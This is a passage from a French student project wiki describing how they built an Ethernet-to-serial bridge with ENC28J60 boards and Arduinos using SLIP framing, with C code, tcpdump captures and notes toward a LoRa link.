&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa. Les paquets que la carte ethernet reçoit doivent être envoyés à LoRa ensuite le LoRa va les envoyer à l'autre LoRa. Une fois que l'autre LoRa reçoit ces données, elles vont être envoyée à la carte ethernet. Le PC pourra traiter des données par la liaison série.&lt;br /&gt;
Pour réussir cette idée, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
